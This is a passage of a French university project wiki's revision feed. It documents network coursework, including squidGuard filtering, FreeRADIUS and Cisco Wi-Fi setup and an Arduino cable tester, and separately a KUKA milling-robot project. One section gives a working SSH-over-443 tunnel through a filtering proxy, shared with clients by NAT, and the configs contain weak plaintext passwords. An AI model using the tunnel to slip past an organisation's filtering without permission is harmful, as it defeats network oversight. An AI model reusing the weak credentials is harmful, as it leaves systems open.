&amp;lt;/pre&amp;gt;&lt;br /&gt;
cat /usr/local/squidGuard/db/facebook/url&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
fr-fr.facebook.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Contournement d'un proxy===&lt;br /&gt;
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition &amp;quot;La nuit de l'info&amp;quot;, nous avons été amené à réaliser un dispositif permettant un accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécessaires.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install openssh-server proxytunnel isc-dhcp-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /root/.ssh/config&lt;br /&gt;
Host perfectTunnel&lt;br /&gt;
        Hostname ADRESSE_IP_DE_NOTRE_SERVEUR&lt;br /&gt;
        User root&lt;br /&gt;
        Port 443&lt;br /&gt;
        ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous réalisons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ssh \&lt;br /&gt;
  -o PermitLocalCommand=yes \&lt;br /&gt;
  -o LocalCommand=&amp;quot;ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0&amp;quot; \&lt;br /&gt;
  -o ServerAliveInterval=60 \&lt;br /&gt;
  -w 5:5 perfectTunnel \&lt;br /&gt;
  'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping -I tun5 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
3 packets transmitted, 3 received, 0% packet loss, time 2002ms&lt;br /&gt;
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# route del default&lt;br /&gt;
# route add default gw 12.24.48.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
4 packets transmitted, 4 received, 0% packet loss, time 3004ms&lt;br /&gt;
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /etc/default/isc-dhcp-server&lt;br /&gt;
INTERFACES=&amp;quot;eth0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# vim /etc/dhcp/dhcpd.conf&lt;br /&gt;
subnet 118.218.0.0 netmask 255.255.0.0 {&lt;br /&gt;
        range 118.218.1.1 118.218.254.254;&lt;br /&gt;
        option routers 118.218.0.1;&lt;br /&gt;
        option subnet-mask 255.255.0.0;&lt;br /&gt;
        option broadcast-address 118.218.255.255;&lt;br /&gt;
        option domain-name-servers 8.8.8.8, 8.8.4.4;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
authoritative;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT&lt;br /&gt;
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT&lt;br /&gt;
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Création de points d'accès Wi-Fi avec serveur d'authentification FreeRADIUS===&lt;br /&gt;
&lt;br /&gt;
====Création du serveur FreeRADIUS====&lt;br /&gt;
&lt;br /&gt;
Afin de créer ces points d'accès, nous avons commencé par paramétrer un serveur d'authentification FreeRADIUS. Pour cela nous avons eu à modifier trois des fichiers de configurations de FreeRADIUS.&lt;br /&gt;
&lt;br /&gt;
D'abord le fichier eap.conf au sein duquel nous avons simplement changé le protocole d'authentification afin d'utiliser le type PEAP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
default_eap_type = peap&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis nous avons eu à configurer nos points d'accès wifi au sein du fichier clients.conf, voici à quoi ressemble la configuration d'un des points :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
client lellel{&lt;br /&gt;
        ipaddr = 10.10.10.1&lt;br /&gt;
        netmask = 32&lt;br /&gt;
        secret = lollol&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour finir il ne restait plus qu'a créer un utilisateur pour ce serveur d'authentification, pour cela nous avons ajouté la ligne suivante dans le fichier users.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ethwynn Cleartext-Password := &amp;quot;trolol&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Une fois cette configuration réalisée nous avons lancé notre serveur FreeRADIUS.&lt;br /&gt;
&lt;br /&gt;
====Configuration des bornes Wi-Fi====&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons réalisé la configuration des bornes Wi-Fi afin d'avoir notre accès sécurisé avec notre serveur FreeRADIUS. La configuation est réalisée en tapant les commandes suivantes après s'être connecté à la borne via telnet :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_kwak group radius_kwak&lt;br /&gt;
radius-server host 193.48.57.167 auth-port 1812 acct-port 1813 key lollol&lt;br /&gt;
aaa group server radius radius_kwak&lt;br /&gt;
server 193.48.57.167 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid SSID_KWAK&lt;br /&gt;
vlan 17&lt;br /&gt;
authentication open eap eap_kwak&lt;br /&gt;
authentication network-eap eap_kwak&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
ssid SSID_KWAK&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.17&lt;br /&gt;
encapsulation dot1Q 17&lt;br /&gt;
no ip route-cache&lt;br /&gt;
bridge-group 17&lt;br /&gt;
bridge-group 17 subscriber-loop-control&lt;br /&gt;
bridge-group 17 spanning-disabled&lt;br /&gt;
bridge-group 17 block-unknown-source&lt;br /&gt;
no bridge-group 17 source-learning&lt;br /&gt;
no bridge-group 17 unicast-flooding &lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.17&lt;br /&gt;
encapsulation dot1Q 17&lt;br /&gt;
bridge-group 17&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
 &lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les bornes sont maintenant configurées, il reste juste à se connecter.&lt;br /&gt;
&lt;br /&gt;
====Connexion à notre Wi-Fi====&lt;br /&gt;
&lt;br /&gt;
Afin de se connecter il suffit juste de modifier le fichier interfaces de notre eepc par :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
auto wlan0&lt;br /&gt;
iface wlan0 inet static&lt;br /&gt;
 address 172.20.17.12&lt;br /&gt;
 netmask 255.255.255.0&lt;br /&gt;
 gateway 172.20.17.254&lt;br /&gt;
 wpa-ssid SSID_KWAK&lt;br /&gt;
 wpa-key-mgmt WPA-EAP&lt;br /&gt;
 wpa-identity ethwynn&lt;br /&gt;
 wpa-password trolol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
 &lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation du lecteur de carte SD ===&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.&lt;br /&gt;
&lt;br /&gt;
Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Communication avec le matériel Cisco ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau, notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisant la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.&lt;br /&gt;
&lt;br /&gt;
Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons testé la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothèses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé sera mené sur la carte.&lt;br /&gt;
&lt;br /&gt;
=== Réalisation du code pour les appareil Cisco ===&lt;br /&gt;
&lt;br /&gt;
Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
show interfaces status | include INAME\ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui répond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche &amp;quot;entrée&amp;quot; possède sa propre liste de connections sur la SD, et ceci en correspondance avec le câblage que nous avons effectué dans le début de notre projet.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=25026</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=25026"/>
				<updated>2016-01-18T15:33:34Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 11 au 15 janvier 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.&lt;br /&gt;
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#. &lt;br /&gt;
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 18 au 22 janvier 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=25025</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=25025"/>
				<updated>2016-01-18T15:25:52Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Semaine du 11 au 15 janvier 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
